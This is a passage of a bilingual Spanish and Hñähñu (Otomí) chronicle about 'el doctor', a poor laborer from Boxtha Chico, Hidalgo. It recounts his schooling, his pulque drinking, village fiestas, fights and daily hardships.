nänä mra thuhu ra Luisa, nuna nänä xki thogi n'a\nra ts'othogi dige'a mi petsi n'a ra xuhña\ndige'a ra hñuti ge ya hoka nkuma ndoy'o, (sehe\nnuya n'othe ge mi tsa da hoki ya ngum'i nehe\nya ndoy'o xa u'aki), inbi tsa bi hoki xahño, po ra\nnge'a mi \"nk'unts'i\", ge nuna ts'onate ge bi\njapi bi ñ'oui gatho ra b'ui. Nuna nänä mi\ntähä ra m'ui te ra za mi pefi, mi texi\nya y'e ya u'ada pa mi k'uti ra santhe\npa da thoki ya dänjua, mi jonthi ya ndäpo ha ya\nhuähi pa t'umbi te da tsi ya ts'udi ne ya\noni, ge'a mi padi po r'a ya hme o n'a tuki\nra sei, nuna hñuni mi t'umbabi ge'a mi tat'i ha ra\nt'uka mui ra \"ñ'othe.\n2\nDesde\nmuy pequeño se vio en la necesidad de ganarse un\nbocado, empleándose desde: tlachiquero, cargando el\nrecipiente del mechal que es la pulpa que se le\nextrae al maguey para que emane el aguamiel, pastor\nde ovejas, leñador; en fin, fue criado de otras\npersonas con un poco de solvencia. El mote de\n\"doctor\", se lo ganó por usar un saco, que alguna\nalma caritativa le regaló para protegerse del\ninclemente frío que por esta zona se siente en\ninvierno. Era curioso verlo con sus pantalones\nroídos debajo de la rodilla, una camisa de color\nindefinido, quemada por el sol, debido al constante\nuso y por la tierra adherida en ella. De sombrero\nllevaba un \"gorro\" (copa de un sombrero viejo), con\nun orificio a la altura de la mollera; era de\ncomplexión delgada, por no decir desnutrida. Sus\npies desnudos recorrían las zigzagueantes veredas\nangostas llenas de espinas de mezquite, cardos y\npúas de maguey por donde pasaban escuálidos\njumentos, hambrientos animales que pepenaban\nmacollos y ramoneaban retoños de mezquite y de otras\nplantas silvestres.\nPor las mañanas se sentaba en un tronco de maguey,\na veces en un trozo de nopal seco, o en una piedra\nque era utilizada como banco. Calentaba su frágil\nfigura con las lengüetas del fuego que salía de uno\nde los lados del fogón rodeado de tres piedras que\nsostenía un comal de barro, encima del cual estaban\nunas tortillas de maíz martajado, porque había sido\nmolido en un metate. Al lado se encontraba un\nmolcajete que contenía una salsa hecha con chiles\nsecos y xoconoxtle. Al otro lado, una olla de barro\nen hervor que contenía unos quelites deshidratados\ny, en ocasiones, nopales sin más aderezo que sal,\nservido en un plato ennegrecido y despostillado,\nporque cumplía la función de tapadera de la olla de\nfrijoles o mole de olla, en lugar de agua un jarrito\nde pulque, y, por mesa, tenía a la sagrada tierra.\nEn un costado de la fogata estaba echado su\ninseparable y fiel amigo \"el pelotán del campesino\";\nése era el nombre de un famélico perro de raza\ncriolla color canela, pobre de estampa y de sangre;\nsu hocico descansaba encima de sus patas delanteras,\ncon la mirada atenta a los movimientos de sus amos.\nÉl también esperaba su ración que consistía en una\n\"gordita\".\nEn aquella época el periodo escolar era de febrero a\nnoviembre. De los diez años que fue a la escuela,\nalgunas veces pasó del primer año, lo inscribían en\nsegundo, pero a la primera semana de haber iniciado\nel nuevo curso lo regresaban a primero, debido a que\nen los dos meses que eran de vacaciones se le había\nolvidado el producto de los diez meses aprendidos\ncon tanto sacrificio.\n3\nXi mra t'uki bi ñäti ra b'edi da dähä\nn'a ra zeki ra hme te ra za bi mpefi:\ndega y'afi, mi ndude ra nkäximfi, ge'a ra ngäbo ra\nñomfi ra u'ada ge mi hat'i pa da migi ra t'afi,\nbi fay'o ya deti, dega xuza, bi m'ego\ndige'a mar'a ya jä'i mi jababi n'a tuki ra\nboja. Ra nthumthuhu ra \"ñ'othe\" bi tähä po ra nge'a\nmi hä n'a ra he ya mäkä, ge n'a ra hoga jä'i mi\numbabi dega baha pa da daki nuya dänga tse ge\nnuna zeka hai xi tatabi nuya zänä xi tagi ya\ntse. Mi unga ra thede nu'a ra thandi ko ya\npikaxexgo xki ntuni ri ngati ha ya\nñähmu, nu'a ra pahni inbi fädi xahño ra kuhu,\nxki nzät'i ko ra hyadi, xki hä ndunthi ne po ra hai\nxki nkuet'e, dige'a ra fui mi häts'i n'a ra\n\"gorro\" (ra t'uka tsant'i ra ndäxjua fui),\nko n'a ra otsi ha ra ndehe, mi nthandi n'a ra yot'a\nbätsi mi othobi ra nzaki, ya t'uka ua mi y'o\nñ'oua mi deni ha ya ñ'u xki nkäxni xi mra\nnts'ut'i mi ñuts'i ya b'ini dega t'ohi,\nya zunja ne ya b'int'a ya u'ada po habu\nmi thogi ya noxka nondo, ya ndumthuhu\nmbon'i ge mi jondi ya ts'uta, ya bätsi ya\nu'ada ne mi tsapabi ya r'oho ya t'ohi ne mar'a ya\nmbänga ndäpo.\nGatho ya xudi mi hudi ha n'a ra ñämfi, n'andi ha n'a\nra ndunza dega yot'a xät'o, o ha n'a ra do,\nge'u mi hä dega nthuhni. Mi pati ra t'uka\nb'ai ko ya jäne ra tsibi mi poni ha n'a ra\nhyo ra nt'uspi xki thet'i ko hñu ya do ge'a mi totse\nn'a zeki ra doy'o, maño dige'a ra doy'o mi ha\nmi tä r'a ya ts'oguhme xki thoki dega tsast'adethä\nra nge'a xki nkuni ha n'a ra juni, ha\nra hyo nuna nt'uspi mi tits'i n'a ra mada ge mi kä\nra thont'añ'i xki thoki dega yot'a ñ'i ne ra ixkähä.\nHa man'a ra hyo n'a ra ts'oe ha mi punts'a\nnzani r'a ya yot'a k'ani, n'andi r'a ya yot'a\nxät'ä honsehe mi peui\nra u, nuna ntsi mi xit'i ha n'a ra mbot'a ne done\nmohi, ra nge'a mi thuts'i n'andi dega njäm'í dige'a\nnu'a ra ts'oe dega ju o mar'a ya iki\nra t'ot'i: pa da dut'a ra ntsi mi tits'i n'a ra t'uka\nb'ada ra sei, ne po ra mexa mi hä ra mäka xihmai.\nHa n'a ra hyo dige'a nu'a tsibi mi b'eni ra\nñ'oui nu'a inmi u'ege dige'a \"ra tsant'i ra memthä\",\nnjabu mra thuhu n'a ra noxka tsat'io\nmra kuhu ra ut'zai, ra hyoya dega b'ai\nne dega ji, ha ra ts'one mi tsaya maño ha ya y'e,\nko ra nthandi mi huts'i ha ya hmu nub 'u mi\nñ'oni. Nu'a nehe mi tom'i ra zeka ntsi\nge mi n'a ra t'uka \"ts'oguhme\".\nHa nuya jeya bi thogi ra nzadi mi fudi\nra zänä ra febrero ne mi juadi ha ra zänä ra\nnoviembre, dige'u ya r'et'a zänä ge bi\nma ha tat'a jeya ha ra nguzadi n'andi mi\nthogi ra mudi ra jeya, mi thutsabi ra\nthuhu ha ra nyoho ra jeya, pe ra mudi\nra yotopa xki fudi nu'a r'ayo jeya mi\njotsi man'aki ha ra mudi jeya, ra\nnge'a ge nuya yoho ya zänä ge mi tsaya xki pumfri\ngatho nu'a xki pädi ko ndunthi ra ts'edi nuya\nr'et'a zänä.\n4\nEl profesor Tomás Martínez Rangel fue el fundador de\nla única Escuela Primaria con que cuenta esta\ncomunidad que lleva por nombre \"Jaime Nuno\". En\nalgunas ocasiones se ausentaba para atender a padres\nde familia o para acompañar a las autoridades del\nlugar a las comisiones para hacer gestiones de\nvarios servicios que ahora disfruta la comunidad y\nde otros pueblos circunvecinos, como lo es el de\nirrigación con aguas negras. Al salir dejaba\nencargados a los alumnos con los más grandes. En los\ncuadernos del responsable ponía algunas operaciones\nde matemáticas o ejercicios de español. Esta\npráctica suele suceder en las escuelas unitarias,\nque son atendidas hasta tres grados en un turno.\nEl \"doctor\", con el fin de que su paladar se\nendulzara, era objeto de bromas. Sus compañeros le\nhacían travesuras; uno de ellos le pidió que se\ncomiera tres gises. Al terminar le obsequiaba un\ndulce o una moneda que posteriormente se la volvían\na quitar para jugar a las canicas. Esta malicia\ninfantil, provocaba que varias veces se escurrieran\ngruesas gotas de lágrimas sobre las pálidas mejillas\ndel \"doctor\". Lloraba en silencio, sin quejidos,\ncomo lo hacen varias personas de su estirpe ante las\ncarencias e injusticias que se padecen.\nLos adolescentes indígenas, a diferencia de los\ncitadinos, tardan en entrar a esta etapa de la vida,\ndebido a diversos factores como: la alimentación,\npero sobre todo por el trabajo físico que desempeñan\npara ganarse el sustento. Además pasan sin\nexperimentar tantos problemas como el adolescente de\nla ciudad. Para esta época nuestro personaje ya se\nempleaba por un salario como jornalero agrícola,\nconviviendo y defendiéndose de los abusos de los\ndemás con agresividad verbal y, en ocasiones, en\nforma física. Con el producto de su primera semana\nlaborada se compró sus primeros huaraches, ropa\nusada que se podía adquirir el día miércoles en\nActopan (día de plaza) y su sombrero que por cierto\nle duró poco por ser objeto de bromas pesadas de\nparte de los demás. Éste y otros más generalmente\nterminaban con el ala hecha jirones o apachurrado\npor pisotones.\nLos pueblos de la región organizan fiestas\nreligiosas, pocas de índole civil; sufragan los\ncostos por cooperación entre ellos; también, a\ntravés de mayordomías. Ahorran durante todo el año\npara darles de comer a los integrantes de la música\nde viento y a toda persona que quiera comer sin pago\nalguno. El menú es casi siempre mole rojo o verde\ncon piezas de pollo, arroz, frijoles; todo servido\nen un solo plato.\n5\nRa xahnate mra thuhu ra Tomás Martínez Rangel, ge'a\nmi futi nuna ngu nsadi ge'a sehe\npetsi nuna t'uka hnini ge bi thutsabi ra\nthuhu ra \"Jaime Nuno\", ha r'a ya pa mi poni\npa da ñäui ya dada ya bätsi o pa da meui r'a\nya nzaya dige'a nuna t'uka hnini pa da nei da\nt'adi ra mfats'i pa da t'ot'e r'a ya b'efi\nge xa t'ot'e ha nuna t'uka hnini ne\nmar'a ya t'uka hnini kohi getbu , ngu\npa ri ñ'unthe ya uähi ko ya b'othe. Nub'u mi\nponi mi tetebi nuya bätsi mra\ndängi ne man'a mi pädi, ha ya hem'i mi\nthutsabi r'a ya b'ede pa da bädi da ot'e ya uenda\no r'a ya b'efi pa da bädi da nuti ne\nda y'ofo ra ñämfo xahño, nuna b'efi ge\nnjabu ra nthoki ge nubia mapaya ha ya ngu\nnsadi ha ya t'uka hnini, habu n'a ra\nxahnate sehe utabi nhñu njeya\nha n'a zeki ra pa ne ko n'a sehe\nra njut'i.\nRa \"ñ'othe\" ko ra njätsi da ugi ra ne, ya\nñ'oui mi ot'abi ya ts'okate, n'a dige'u\nbi apabi da tsi hñu ya zeki ra näni ko nge'a\nmi y'ohni, xki juadi mi umbabi n'a ra dodfi o r'a ya\nnxani ya boja ge'a m'efa mi hänbabi ra nge'a\nmi ñ'eni ha ya kanicas. Nuna hñäkuate mi ot'abi\nga bätsi mi japi ge ndunthi ma iki ra \"ñ'othe,\nmi taxki ya dänga tagi ya gida ha ra hmi xki hat'i\ndega nguentí, mi zoni dega njone inmi nk'e ngu ot'e\nndunthi ya jä'i petsi nu'a ra y'u nub'u\nja ra hyoya ne nub'u otho ra ts'utui\npa ge'u.\nYa bätsajä'i mudimehai, n'añ'o ya b'ui\nko nge'u nuya bätsajä'i ya mehnini inga\nmänta kut'a ha nuna zeki dige'a ra b'ui,\nra nge'a ja n'añ'o ya ts'oki pa inga mahyegi:\nngu te gatho tsi, pe nu'a petsi ra juadi hmä\npo ra b'efi xa hñei nu'a gatho pefi pa\nda dähä pa ñuni. Nehe thogi nuya mponi thogi, inte\ntsa ndunthi ya xuhña ngu thogi nuya bätsajä'i ya\nmehnini. Po nuya jeya nuna já'i di ñähu mi mpefi\ndega memthä, mi ñ'oui ra b'efi ne mi\ntotsabi dige'u gatho ya ñ'otsa mi ot'abi\nmar'a to'o mi ñ'oui ha ra b'efi, mi thädi ko\nya ts'ohni nu'a mi t'ot'abi n'andi ko ya npuni.\nKo ra mudi njut'i ra yotopa bi mpefi\nba tai ya mudi zesthi ne ya ngänga\ndutu bi tai ha ra tai nuni Mañuts'i (ra pa ra tai),\nne bi tuki n'a ra r'ayo fui maske inte bi tsetuabi\nra nge'a bi t'otuabi ra hñäkuate ko nge'a ne\nnu'u mar'a mi tai, mi tuni nu'u mi ntheui.\nNuna ne mar'a mi tai mi juadi mi tunbabi, mi ts'uzeni\no mi net'i ko ya hnet'i.\nYa t'uka hnini dige'a nu'a ra hyodi hoki ya\nngo pa da beni ya nkamfri n'a tuki dige'a\nmar'a ya feni, jut'i ya b'ohnña po gatho ya\nmfaste dige'u, nehe b'ui ya b'etri,\nnuya jä'i jonthi ra boja gatho ra jeya pa\nda umbabi te da tsi ya memt'a ya hoka nzafi nehe\nto'o da ne da ñuni ne inda ne inte ma boja da jut'i.\nNuna ntsi ge nzäi t'uni ra mem'a ñ'i ra theni\no ra k'angi ko n'a zeki ra oni, ra\narro ne ra ju gatho xituabi ha n'a ra mohi.\n6\nLa quema de juegos pirotécnicos es una de las pocas\ndistracciones con que se cuenta, además de las misas\ny procesiones. En una festividad de estas, en el\nMunicipio de Santiago de Anaya, el día de su santo\npatrono \"Santiago Apóstol\" a fines del mes de julio,\ncomunidad distante a diez kilómetros de Boxtha Chico\n\"el doctor\" fue a divertirse en este festejo. Iba\nrecorriendo los puestos de chalupas, tacos, pulque y\ncervezas, cuando vio que uno de los \"cuates\",\nRafael, gemelo de Moisés de apellido Vargas del\npueblo vecino de Teofani, aprovechando que el\npropietario de un puesto de elotes hervidos se\ndistrajo, viendo el caminar provocativo de una chica\nafortunada por dones que la naturaleza le dio,\nagarra un elote sin pagarlo. Los otros que iban con\nél hicieron lo mismo. \"El doctor\" los imita,\nagarrando el suyo, y en eso el dueño de los elotes\nalcanza a verlo y sin decirle \"agua va\", toma el\npalo con que movía dichos elotes del cazo y le\narrima un solo golpe a la altura de la cabeza y la\nespalda. El \"doctor\" fue a dar allá por el suelo\nsemiinconsciente, pataleando y con espuma en la\nboca; en eso el \"cuate\" Rafael ve lo que le sucedió\nal \"doctor\" y llama a sus compañeros para tundirle\nal ofensor, Bernardino a quien echaron sobre la\nplataforma de un carro de redilas como un bulto, y\ncontinuaron la diversión. Pero al rato lo dejaron en\nsu choza de pencas de maguey. Vino a despertar al\ndía siguiente sin recordar nada, tal vez por el\ngolpe o por lo empulcado que estaba que ni se acordó\nde esto.\nEn las bodas y fiestas de quince años, es el primero\nen bailar con la novia o quinceañera; es aventado\npara pedir las piezas y para bailar con las chicas\nde la ciudad, que seguramente por compasión\naceptaban acompañarlo. No hay fiestas en que no esté\npresente y que no baile con las muchachas o señoras\nvisitantes, y si no lo acompañan, se pone a bailar\nsolo.\nEntre las pocas distracciones que tiene un jornalero\nes la de hacer albures y bromas pesadas a los demás\ny emborracharse con pulque o bien viendo pelear a\notros, tal es el caso de nuestro personaje. En\ncierta ocasión que no tenía dinero para beber,\nestaba sentado, alejado del resto del grupo y lo\nllamaron para que participara en una apuesta de\ncinco litros de pulque. Su contrincante el llamado \"Lario\",\nmás alto y de unos cuarenta kilos de peso más que\nél. La regla fue no golpearse la cara; tampoco en la\ncabeza. Pero le fue \"como en feria\", a tal grado\nque al día siguiente soltaba unos lastimeros\nquejidos al caminar, pero no se rajó y pudo beber\npulque gratis.\n7\nRa ts'ot'i ya nt'eni xa thoki dega tsibi ge'a n'a\ntuki ja pa gi handi ne gi ode ra mixa\nnehe da boni ra nthet'i ra nzunda. Ha n'a\ndige'a nuya ngo mi ja nuni la hnini ra thuhu ra nthenga\nhai ge nubia fädi ko ra thuhu ra Santiago de Anaya.\nGe mi t'otuabi ra ngo ra mäka hmu ra\n\"Santiago Apóstol\" ra ngätsi ra zänä ra julio, nuna\nhnini ri ngohi ngu r'et'a m'o ra nteni\ndige'a ra t'uka B'osta. \"Ra ñ'othe\" bi\nma da handi nuna ngo. Mi y'o mi handi ya mpa ntsänga\nhme, ya pants'ahme, ya sei ne habu mi mpa ya\njutsa dehe, ham'u bi nuti ge n'a ra go\nmra thuhu ra Rafael ge'a mi ngoui ra Moisés mi petsi\nra yonthuhu ra Vargas mra mengu n'a ra t'uka\nhnini ra thuhu ra nt'ofani, bi handi ge to'o\nmi pa ya fat'a mänxa mi nuti hanja ra y'o n'a\nra nxutsi, ngu mi xaxi ra mfeni gatho to'o mi handi\nnu'a ra mehai bi umbabi, bi mihi n'a ra mänxa ne\ninbi jut'i nu'u mi teni mi jabu\nnehe, ra \"ñ'othe\", bi feti bi gu\nra meti nu'a bi npunts'i to'o ra meti\nya mänxa \"inte bi xipabi\" bi ju ra za nu'a ra nt'äni\nya mänxa bi umbabi n'a ra nthont'i ha ra hmayuja,\nri ngohi made ra ñäxu ne ra xutha. Ra \"ñ'othe\nba tagi ri ngepu ha ra hai, bi umbabi n'a ra\nhodu mi uäts'i ra ua, mi t'iki ne bi bonga\nya fugi ra ne. Nub'u mi npunts'i\nra \"Rafe\" bi handi te bi t'ot'abi ra \"ñ'othe\"\nne bi mati ya ñ'oui pa bi umbabi r'a mpetk'u\nto'o bi muni, ra Berna bi t'ents'i\nmaño ha n'a ra boja, bri fote ngu n'a\nra r'oza ne nuyu bi teni bi y'o\ndega mpaha. Mi nde n'a tuki bi ts'ogi ha ra\nt'ungu xki thoki ko ya y'e ya u'ada,\nba ehe da nuhu ra hyats'i man'a ra pa, inte mi beni,\npode po nu'a ra nthont'i o po ra ntixfani\ndega sei xki tsi.\nHa ya nthäti ne ya ngo dega r'et'a ma kut'a\nnjeya ge'a ri mudi nei ko ra nxutsi ri\nnthäti ra to'o bi t'otuabi ra ngo, ingi petsi\nra ntsu pa da adi to'o da neiui, nehe ko ya nxutsi\nri ñ'ehe nuni ya hnini, ge pode ri nhueke ge\nponi da ñ'oui da neiui. Otho ra ngo ge inda\nma da b'ai nubu ne ge inda nei, nub'u\nya nxutsi o ya b'ehña xa nzonte ingi\nne da neiui, da nei sehe,\nDige'a ya tuki ya mpaha da metsi ya menthä\nge'a ya hñädondo, da ot'abi ya tsokate mar'a\nya jä'i, da ntixfani ko ra sei o nehe da handi ya\nntuhni da ot'e mar'a. Ngu bi ot'e\nn'aki ma jä'ihu ge inmi hä ra boja pa tai ra\ndai ra sei pa da tsi, mi hudi ri ngepu dige'a\nra t'uka munts'a jä'i ge mi ntsithe, bri\nhmati pa da t'ot'e n'a ra ntähä dige'a kut'a\nnt'eni ra sei, bri thänbabi n'a ra nzute\nge fädi ko ra thuhu ra \"Lario\", man'a mxa hñets'i ne\nmi petsi ngu yoho n'ate ya kilo dige'a mi petsi,\nRa nkähi bi t'ot'e ge inda mpuniui ha\nra hmi ni ge'a ha ra ñäxu. Di mä pa ge'ihu,\nngu t'ena bi thotsi \"ngu n'a ra ngo,\" nu'a man'a ra\npabi hyats'i mi hegi r'a ya hmafi ne ya nk'e\nra nge'a xi mra ñ'u nub'u da tsapi da\ny'o, pe inbi gohi ri mote ne bi bet'i\nya sei, inte bi gut'i.\n8\nEs de hacer notar que las personas que tenían\npulque, pocas veces lo producían con el fin\ncomercial, sino por el placer de convivir y\ncompartir el espumoso y blanco brebaje, que es como\nsuero de queso, contenido en una jícara o un jarro,\npor la que pasaban los labios de los convidantes.\nDespués de beber, limpian con la palma de la mano el\nlugar donde se posaron los labios en el\nrecipiente, antes de pasarla a otra persona.\nDe las pocas veces que trabaja para comprar su\nalimento insustituible que es el pulque, como\nrequisito pide dos comidas, pero para hacer tiempo\nse escapa por los matorrales. Aparenta realizar sus\nnecesidades fisiológicas en un promedio de seis\nveces de un lapso de media hora cada una, otra\nmisma cantidad para tomar pulque, la finalidad es\nhacer tiempo y evitar el desgaste físico. Del tiempo\ncontratado trabaja menos de la mitad de las horas\ncontratadas, comentan contemporáneos de don \"chano\"\nque él también tuvo las mismas costumbres para\nevadir el arduo trabajo del campo, hasta en esto\ntienen que ver las leyes de la herencia.\nUn domingo como a las cuatro de la tarde se corrió\nel rumor de que había una carrera de caballos\norganizada por Cirilo, quien apostó dos cartones de\ncervezas al competidor del pueblo de Boxaxni y lo\npagaba el perdedor. El \"doctor\", llegó con una\ngallina debajo de las axilas apostándola por medio\ncartón de ese líquido amargo; nadie le hizo caso y\nen eso llegó su compañera de la intimidad, la\n\"Juanchis\". Esta señora había llegado un día a\nvisitar a una familia y \"el doctor\", se la apropió y\nvivió con ella. Por esas fechas sonaba mucho el\napellido de un dirigente político de apellido de la\nMadrid, también así se conoce a la señora \"Juana de\nla Madrid\". Le reclamaba que por qué se había traído\na la gallina que estaba empollando y, como estaba\nmuy molesta, le manoteó a su hombre. Como consuelo\nde esto, \"el doctor\" tomó para olvidar los\nsinsabores que da la vida.\nEstas escenas eran frecuentes. El otro día, muy\ncaluroso por cierto, el pulque se agota pronto,\nescasea en muchos lugares en donde se vende, sólo\nfaltaba pasar por la casa de la \"Linda\", su nombre\nverdadero es Hermelinda Ángeles. Bernardino pide a\nla \"Juanchis\" que pregunte si había este remedio\npara la sed. Él parado en el camino no quería pasar,\ntenía una deuda, no había ido a \"quebrar\" unos\nmagueyes, (así se le llama al proceso de extraer el\ncorazón de este agave y prepararlo para raspar).\nHermelinda se compadece de ellos; acepta vender algo\nde pulque, pero antes pide que el \"doctor\" pase,\nsirve en una jácara que trae en la mano, pero para\ndesquitar su coraje ella pide a la \"Juanchis\" que le\nde un trompazo en la mera boca del \"doctor\". La\n\"Juanchis\" mira la jícara, voltea la vista a donde\nestaba parada su pareja y se retira un poco para\ntomar.\n9\nGa ot'e ga udi ge ya jä'i ge tsi ya sei, n'a\ntuki maiki da xit'i pa da mpa, xit'i po ra\npaha pa da ñojui nu'a ra ntaxi ko ra fugi\nñ'ethi, ge ri nthe ngu ra githe pigi ya gexo,\nmpo ha n'a ra ximo o n'a ra b'ada, ge habu\nhuts'i ya xine nu'u thogi nu'u to'o ri\nnxepi, M'efa da b'et'i da thuki\nko ra y'e habu bi hutsi ra ne to'o bi\nb'et'i ha nu'a ra mpo sei, ebu da\numbabi mar'a ya jä'i.\nDige'a n'a t'uki ya pa ri mpefi pa da\ntai nu'a da tsi ge ingi pote ge ra thuhu ra\nsei, ngu n'a ra nt'adi pa da mpefi, adi yoho\nmaiki da ñuni, pa da ot'e da b'edi ya\nmapa ri ñ'ogi ha ya ndäpo, ngu t'ena pa da ot'a\nra thäb'i ha ngu r'ato maiki, habu da hudi\nngu made ra ora tat'a n'a, man'a ya iki nehe pa dama\nda tsi ra sei,\natho nuna ot'e ge pa inda mpefi, inda\nntsabi ne inda thege ra ts'edi. Dige'a nu'a\nra pa da mpefi inda zot'e ni made ra\npa, ena gatho to'o bi fädi ra dada nu'a ndu ra\n\"chano\" ge nehe mi njabu ko nuya nzäi mi petsi,\npa da u'ege dige'a ra b'efi ha ra b'atha ne\ninmi tsabi, ge nuna ri ñ'ehe da nu ya b'epi\nra mehai dige'a ya tsogi.\nN'a ra pa, mra ndomingo, ngu ra goho ra nde, bi y'o\nra b'ede ge ma xa nja n'a ra ntähä dega r'ihi ya\nfani ge bi tsani n'a ra n'oho ra thuhu\nra \"lilo\", ge'a bi ents'i n'a ra ntähä dega\nyoho ya karto dega jutsa dehe, ko n'a ra mengu ra t'uka\nhnini ra thuhu ra B'oxaxni, ge xa jut'i to'o xa b'edi.\nRa \"ñ'othe \"bi tsoho ko n'a ra\noni mi tsati ha ra kaxju mi ents'i ra\nntähä po made ra karto dige'a nu'a ra dehe xa\nnjuts'i ge into bi ot'abi ma zu. Ha nu'a, bi\ntsoho ra ñ'oui to'o b'eniui\nnu'a ra \"Juanchis\", nuna b'ehña, bi tsoho\nn'a ra pa da nk'ohni n'a ra m'ui ne nu'a ra\n\"ñ'othe \" ha bi zämi nubu, bi ja ra meti\nne bi b'ui ko nge'a. Po nuya pa xi mi nt'ode\nn'a ra yomthuhu dige'a n'a ra pinhyo De la Madrid,\nnehe njabu fädi nuna b'ehña \"Juana de\nla Madrid\". Bi ñ'ani hanja ba tsi nu'a ra oni\nge mi kai ya mädo, mi hui, ne xi mi poho\nra kue bi petuabi ra ne ra däme, pa bi\nhu ra mui ra \"ñ'othe\" bi bet'i ya\njutsa dehe pa da pumfri nuya ts'othogi ge unga ra b'ui.\nNuna thogi nzäi xi mi nja, nu'a man'a ra pa xi mi\not'e ndunthi ra pahyadi, ra sei juadi mont'a,\nthege mont'a ha ya ngu habu ri mpa, honsehe\nmi b'edi da thogi ha ra ngu ra\"Linda\", nuna\nb'ehña ge ra thuhu majuäni ra Hermelinda\nÁngeles. Ra Berna bi b'epabi ra b'ehña\nra \"Juanchis\" ge da nt'ani xama mi ja nuna ñ'edi pa\nra nduthe, nu'a mi b'ai ha ra ñ'u inmi ne xa thogi,\nmi petsi n'a ra thai, inbi ma da \"tehmi\" r'a\nya u'ada (njabu thutuabi nu'a ra b'efi\nnthoki pa da hämp'abi ra mui ra u'ada pa\nñätsi da at'i). Ra Hermelinda bi hnuke dige'u,\nbi ena ge aha da papabi n'a tuki ra sei, pe\nmet'o bi adi ge ra \"ñ'othe\" xa thogi,\nmi b'ai getbu bi xituabi ha n'a ra ximo ge mi\nhä ha n'a ra y'e, pe pa da k'otsi nu'a ra kue\nmi ñ'oui bi enbabi ra \"Junchis\"ge met'o da\numbabi n'a mpuni\n10\nPuntería y \"zaz\" se oye un sonido seco, que hizo\nfluir el líquido viscoso rojizo de la boca y de las\nfosas nasales de \"el doctor\". Éste se limpia con el\ndorso de la mano; la hemorragia no cede, entonces\ndesanuda las dos extremidades de su camisa, que\ntenía amarradas a la altura de la cintura; arranca\ndos trozos de tela, los hace bolita y las pone en\ncada orificio de la nariz, con sus manos temblorosas\ntoma la jícara que antes ya había sido absorbida por\nJuana. Los asistentes, junto con Hermelinda, no\nparaban de reír a carcajadas por la exhibición.\nHace pocos años, se construyó la carretera asfaltada\nde la Lagunilla al Boxtha; \"el doctor\" fue empleado\ncon el puesto de vigilante por las noches. Dicha\nactividad no la pudo cumplir con seriedad puesto que\nsólo se iba a dormir encima de los materiales de la\nconstrucción y de fierros; sólo duró seis semanas de\nencargado; tardaron para pagarle, y cuando lo\nhicieron, fue en un solo pago que al recibirlo no\npodía dar crédito de cuánto tenía. Pidió a varias\npersonas que le contaran una y otra vez cuánto era y\nle dijeran la cantidad. Algunos lo tildaron de\npresumido; lo cierto es que no había tenido en sus\nmanos tanto dinero junto que ni siquiera sabía\ncuánto era. Este dinero duro poco; se terminó porque\ninvitaba a sus amigos a beber, cosa que hacían\nmuchos. \"El doctor\" toda la vida está bajo los\nefectos de ese elixir sagrado que hace olvidar las\npenas, angustias, situación material, bien reza un\ndicho popular que \"borracho y dormido se olvida lo\namolado.\" El \"doctor\" siempre está protegido en los\nsagrados brazos del Dios Ometochtli, que significa\ndos conejos en la Lengua Náhuatl. Los mexicas lo\ntuvieron como la deidad del pulque. Algunas personas\nle atribuyen también el atributo de la Diosa\nMayahuel el ser la Diosa del pulque. Estos tienen la\nmisma descendencia en la leyenda de los\ncuatrocientos conejos.\nLos facultativos no se ponen de acuerdo a qué viene\nla afición de beber. Unos dicen que es para\ncompensar algunas calorías ausentes en los alimentos\nque uno consume; otros, debido a la falta de\nvoluntad del bebedor para separarse de la adicción\nque causa esta bebida, mientras que los terceros\naseguran que es por imitación y los demás afirman\nque es debido a las causas de la genética. Lo que\nsí también influye es la forma de haber vivido desde\nniño, como externara con mucho acierto el poeta\nRubén Darío en Cantos de vida y esperanza\nque dice:\n11\nha ra ne ra \"ñ'othe\". Nu'a ra b'ehña\nbi nuti ra ximo ne ebu bi mpunts'i\npa da handi habu mi b'ai ra däme, bi njuki\nn'a tuki pa da ät'abi xahño \"zaz\" bi nt'ode\nn'a ra mpet'ane xi nts'edi, ge bi ot'e\nda boni n'a ra thehe mxa ntheni ne xi\nri mpet'e ha ra ne, ha ra xiñu ra \"ñ'othe\".\nNuna ñ'oho bi thuki ra ne ko n'a ra y'e,\nnu'a ra ji inbi tsaya da boni, ebu bi\nxoti yoho ya hyo ra pahni ge mi thutsi po ra hñuti,\nbi tuni bi poni yoho ya t'uka\nzeki dige'a nu'a ra dutu, bi ot'e ya\nt'uka tsant'i ne bi fäti ha tat'a n'a ya\notsi ra xiñu, ko ya y'e mi uät'i bi mihi ra\nximo ge xki juadi xa tsiki ra Juana. Nu'u\nto'o mi b'ai getbu ko ra Hermelinda inbi\ntsaya dega thede, xi ts'edi mi nthede po nu'a\nra nt'ot'e.\nOt'e\nn'a tuki ya jeya, bri thoki ra\nnxikañ'u bri kots'i ra chapopote dige'a ri ñ'ehe\ndige'a Ndexu pa ri mani B'osta. Ra \"ñ'othe\"\nbi mpefi nubu bi t'umbabi dega nzute\ndega xui, nuna b'efi inbi tsa da pefi\nxahño ra nge'a ge honsehe mi pa\nha nuna b'efi pa da ähä mi hñots'e\nmaño dige'a ya boja ne mar'a ya mpefi.\nHonsehe bi tseti r'ato\nya yotopa dige'a nu'a ra b'efi, inbi jutabi\nmont'a ra njut'i ne habu bi häni nu'a ra boja\nbi t'umbabi gatho. Ha mi hä gatho nuna boja inbi\nkamfri hangu mi petsi. Bi apabi n'añ'o ya\njä'i pa da pede n'a ne man'a maiki ne da xipabi\nhangu mi petsi. R'a ya jä'i bi enbabi ge xi\nmra ñ'ets'i, ge ga mä majuäni ge hinham'u xki\npetsi ha ra y'e nuna ra ndunthi ra boja xa\nmunts'i inmi pädi hangu ra boja mi ge'a. Nuna boja\nbi tseti n'a tuki ya pa bi juati\nmont'a ra nge'a bi ñojui ya ñ'oui pa da tsitheui,\nge nuyu já'i ri hneki ndunthi. Ra \"ñ'othe\"gatho\nra b'ui xa tsi nuna mäka dehe ge ot'e\nda mpumfri ya ntsom'i ya ts'othogi ne ra\nnhyoya ya jä'i: ri nxadi n'a ra hmä xi fädi habu\nra za ge \"ra ntixfani ne ra t'ähä gi mpumfri ri\nnhyoya\". Xa ntehe po ya mäka y'e\nra Ajuä ra Ometoxli ge poni ra thuhu ra Yoho\nB'anjua ge njabu mä ra Hñäki ya Ndeznä. Nuya\nNdeznä bi petsi ngu ya nzunda ra sei. Mar'a\nya jä'i ena ge nehe ra Maki Me ra Mayáhuel ge'a nehe\nra Mäki Me ra u'ada. Nuya nzunda petsi mahyegi\nya y'u ha nu'a ra b'ede dige'a ya goho nthebe\nya b'anjua. Ya ñ'othe ingi huts'i ra nkohi 